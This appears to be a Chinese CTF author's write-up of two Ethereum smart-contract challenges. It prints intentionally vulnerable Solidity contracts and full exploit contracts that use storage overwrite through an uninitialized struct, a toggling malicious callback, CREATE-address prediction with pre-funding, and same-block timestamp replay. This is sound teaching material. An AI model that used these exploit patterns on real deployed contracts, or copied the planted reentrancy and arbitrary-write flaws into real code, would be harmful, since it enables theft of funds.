此次题目第二题比较简单,是根据已有题目改编,第一题稍微有一点点难度。不过也有很多方法解决题目。相对来说都极大的减小了解题难度以及逆向难度。 同时也恭喜Ainevsia👴全部AK。
这题逆向的难度会比较大,需要各位慢慢的来读代码。 逆向分析不说了,其实这是一个我自己想法出的一个比较奇怪的题。可能会被各种各样的非预期秒,不过所有非预期其实也相当于预期,毕竟放宽的条件比较开。 因为如题目描述一样,这题的难易度由你本身而定。 我这里给出一种解法。 login时覆盖 target1 构造恶意合约, 其他随意覆盖,最后一个tt写入目标合约。 然后后面是一个 逻辑洞,和XCTF Final 2019的是一样的按理来说应该逆向不出来Merak这个函数所以构造完恶意合约需要改函数名的四字节地址。
这里我也给了一些其他的想法点,因为是在模仿一个出入栈过程,而且出栈写的有问题,这里有重入溢出。以及覆盖从而和后面的revise函数构成任意写。也可以在一定程度上完成此题。也希望大家能想出更有趣的方式。 为了防止一开始就被大哥追到我的复现记录,所以下面的代码除了上面地址是Ropsten,其他都是虚拟机上调的。
0xf73D2aA0e375AA98a47B2b7192B593283A98fE0e@Ropsten
flagaddress:0x2220f90af16c435f6E3A204dFDF275f9f1c4B029@Ropsten
pragma solidity ^0.4.17;
interface merak{
function Merak(uint) view public returns (bool);
}
contract unlock{
uint win;
address owner;
bool public winned;
constructor()payable{
owner=msg.sender;
winned=false;
}
function getaddress()public returns(address)
{
return address(this);
}
}
contract flag{
address public owner;
mapping(uint256=>bool) public is_successful;
constructor()payable{
owner=msg.sender;
}
function getaddress()public returns(address)
{
return address(this);
}
function getflag()public payable{
challenge A=challenge(owner);
require(A.gettingflag());
is_successful[uint256(challenge(owner).tt())]=true;
}
}
contract ez{
uint win;
address public owner;
bool public success;
constructor()payable{
owner=msg.sender;
}
function getaddress()public returns(address)
{
return address(this);
}
function betting(uint ss) public payable{
address target=challenge(owner).tt();
merak hack=merak(target);
if(!hack.Merak(ss)){
win=ss;
success=hack.Merak(win);
}
}
}
contract challenge{
address public target1;
address public target2;
uint256 length;
address public tt;
bytes32[] public a;
uint256 meiyong;
address public target3;
unlock A;
flag B;
ez C;
struct edge{
uint256 loginid;
uint256 time;
uint256 maybe;
uint256 val;
address logined;
}
constructor()payable{
A=(new unlock).value(0.0001 ether)();
B=(new flag).value(0.0001 ether)();
C=(new ez).value(0.0001 ether)();
target1=address(A);
target2=address(B);
target3=address(C);
}
function login(uint256 a,uint256 c)public payable{
edge temp;
temp.loginid=a;
temp.time=now%1000;
temp.maybe=c;
temp.val=msg.value;
temp.logined=msg.sender;
tt=msg.sender;
}
function getaddress()public
{
target1=A.getaddress();
target2=B.getaddress();
target3=C.getaddress();
}
function pop()public{
require(msg.value==0.1 ether);
length--;
for(uint256 i=0;i<=length;i++)
a[i]=a[i+1];
msg.sender.call.value(msg.value)();
require(length>=0);
}
function push(bytes32 num)public{
length++;
require(msg.value==0.1 ether);
msg.sender.transfer(msg.value);
for(uint256 i=length;i>=1;i--)
{
a[i]=a[i-1];
}
a[0]=num;
}
function revise(bytes32 tt,uint256 len)public
{
require(len<=length,"not enough");
a[len]=tt;
}
function gettingflag() public returns(bool)
{
ez(target3).betting(123);
if (ez(target3).success()==true&&unlock(target1).winned()==true)
return true;
else
return false;
}
}
contract tttt{
bool public winned;
constructor(){
winned=true;
}
}
contract exp{
address target=0x0498B7c793D7432Cd9dB27fb02fc9cfdBAfA1Fd3;
address flag1=0x26deFDAD139a48Ae4eeED0cb0ddfe3CE7CFF50a4;
address s3=0xAcEDC012C1962f5EACFa165abFEf682D1D7b92d9;
challenge A = challenge(target);
flag B = flag(flag1);
ez C = ez(s3);
bool ta=true;
constructor()payable{}
function calculating()public returns (uint256)
{
bytes32 tar_get=keccak256(abi.encode(bytes32(address(this)),bytes32(0)));
return uint256(tar_get);
}
function step1()public payable{
A.login(90028314054265874215933433129302817480352835638,1);
}
function Merak(uint256) public returns (bool)
{
ta=!ta;
return ta;
}
function gettheflag(){
B.getflag();
}
}
挺简单的一道题,是innovation最后两题的一种融合形式。 需要我们预测create地址,然后 now在同一区块都是一样的所以取一次一直打就可以了。
pragma solidity 0.4.24;
contract debug{
mapping(address=>bool) public model;
constructor(address fm)payable{
if(address(this).balance==2.333 ether)
{
model[fm]=true;
}
}
function()payable{}
}
contract challenge{
uint public meiyong;
mapping(uint=>bool) public is_successful;
mapping(address=>bool) public addAuth;
mapping(address=>uint256) public val;
debug public debugmodel;
constructor()payable{
addAuth[msg.sender]=true;
}
modifier ctf()
{
require(addAuth[msg.sender]||debugmodel.model(msg.sender),"You are not allowed to use this");
_;
}
function one(address target)public payable{
debugmodel=new debug(target);
}
function betting()public payable ctf{
if((now%10**8)*10**10 == msg.value){
val[msg.sender] +=uint(msg.value);
uint cost = msg.value;
msg.sender.transfer(cost);
}
}
function getflag()public ctf{
require(val[msg.sender]>10**18);
is_successful[uint(msg.sender)]=true;
}
function newinhere(address target)public ctf{
addAuth[target]=true;
}
}
contract exp{
address target1=0xee11d67fd2de74eba2cce1f41e4af2a3ed8ced50;
address target=0x5A0A4580bD7A2758794d4AD0Df9aaa26d561720C;
challenge A = challenge(target);
constructor()payable{
}
function step1()public payable{
target1.transfer(2.333 ether);
A.one(address(this));
}
function step2()public payable{
uint val=(now%10**8)*10**10;
for(uint i=0;i<=10;i++)
A.betting.value(val)();
}
function getflag()public{
A.getflag();
}
function dest()public{
selfdestruct(0x604a00B360a5dD5eB54E4D6E7b053ACF4389d3dC);
}
function()payable{}
}